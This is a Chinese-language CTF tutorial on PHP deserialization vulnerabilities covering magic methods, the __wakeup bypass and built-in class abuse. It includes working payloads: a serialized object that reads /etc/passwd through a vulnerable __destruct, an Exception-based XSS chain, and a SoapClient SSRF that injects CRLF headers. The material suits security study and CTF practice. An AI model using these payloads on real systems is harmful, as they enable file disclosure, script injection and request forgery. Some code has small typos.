PHP-反序列化
在 PHP 里,序列化是把一个对象或数组转换成字符串的过程(比如保存到文件或传输到网络),而反序列化就是把这个字符串还原成原来的变量(对象 / 数组)。
用 PHP 的两个函数表示就是:
1 2
| $ser = serialize($obj); $unser = unserialize($ser);
|

为什么反序列化会存在漏洞?
因为 unserialize() 在反序列化对象时,会自动调用一些类里面的特殊方法,比如:
https://www.bilibili.com/video/BV12om2YTEgW?spm_id_from=333.788.videopod.episodes&vd_source=89bf25153801ebc942aaf90aa2af1675&p=63
- __wakeup:反序列化时自动调用
- __seleep ():序列化时自动调用
- __constuct:构造对象时调用
- __destruct():对象被销毁时自动调用
- __toString():对象被当成字符串使用时调用
- __call():调用不存在方法时触发
- __invoke():对象被当函数调用时触发
- __get ():访问不存在的成员变量时调用
- __set ():设置对象不存在的属性或无法访问(私有)的属性时调用
- __isset ():检查对象的某个属性是否存在会执行此函数,当对不可访问的属性调用 isset () 或 empty () 时,会被自动调用
- __unset ():在不可访问的某个属性上使用 unset 函数执行,销毁对象的某个不存在属性时自动调用__unset ()
如果这些方法里面有可以被控制的敏感操作(比如文件读写、命令执行等),就可能被利用形成漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class student { public $name="haohao"; public $age=19; public $sex= "man"; function aaa() { $this->name; } } $demo=new student(); $wocao=serialize($demo); echo $wocao;
|
使用 serialize 函数进行序列化

unserialize 函数进行反序列化

反序列化漏洞:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Cat { public $name; public $file; function __destruct() { echo file_get_contents($this->file); } } $payload = $_GET['data']; unserialize($payload);
|
攻击思路:
在 ctf 中的解题思路
1,复制源代码到本地
2,注释掉和属性无关的内容
3,根据题目需要,给属性赋值
4,生成序列化数据,通常要用到 urlencode
5,传递数据到服务器
1 2 3 4 5
| class Cat { public $file="/etc/passwd"; } $exploit = serialize(new Cat()); echo $exploit;
|
将 payload 上传到程序
1
| http://target.com/vuln.php?data=O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";} //可使用urlencode编码后再传参
|
__wakeup 漏洞:
漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10
在反序列化一个对象时被自动调用
在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。
绕过:当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
原生类漏洞利用:
php 中内置很多原生的类,在 CTF 中常以 echo new $a ($b); 这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。
下面代码可以查看内置原生类,可对实际情况进行选择性的查看原生类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
|
输出结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Error::__wakeup Error::__toString CompileError::__wakeup CompileError::__toString ParseError::__wakeup ParseError::__toString TypeError::__wakeup TypeError::__toString ArgumentCountError::__wakeup ArgumentCountError::__toString ArithmeticError::__wakeup ArithmeticError::__toString DivisionByZeroError::__wakeup DivisionByZeroError::__toString ClosedGeneratorException::__wakeup ClosedGeneratorException::__toString DateTime::__wakeup ......
|
以此道题为例:

给了 flag.php 文件进行提示,访问的 ip 地址必须为 127.0.0.1,且 token 为 ctfshow, 才能拿下 flag

进入页面,只有几行代码,考虑使用原生态利用
调用了 getFlag () 方法,但 getFlag () 方法不存在
使用报错类
Error/Exception 触发 XSS
Error/Exception 中有个__toString () 方法,能将我们输入的 xss 内容输出
POC 链的构造:
1 2 3 4 5 6
| <?php $a = new Exception("<script>alert('xss')</script>"); $b = serialize($a); echo urlencode($b); ?>
|
使用 SoapClient 构造 SSRF
(PHP 5, PHP 7, PHP 8)
1 2 3 4 5 6
| <?php= $ua="aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('url' =>'http://127.0.0.1 ','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua); echo urlencode(serialize($client)); ?>
|
PHP 字符串逃逸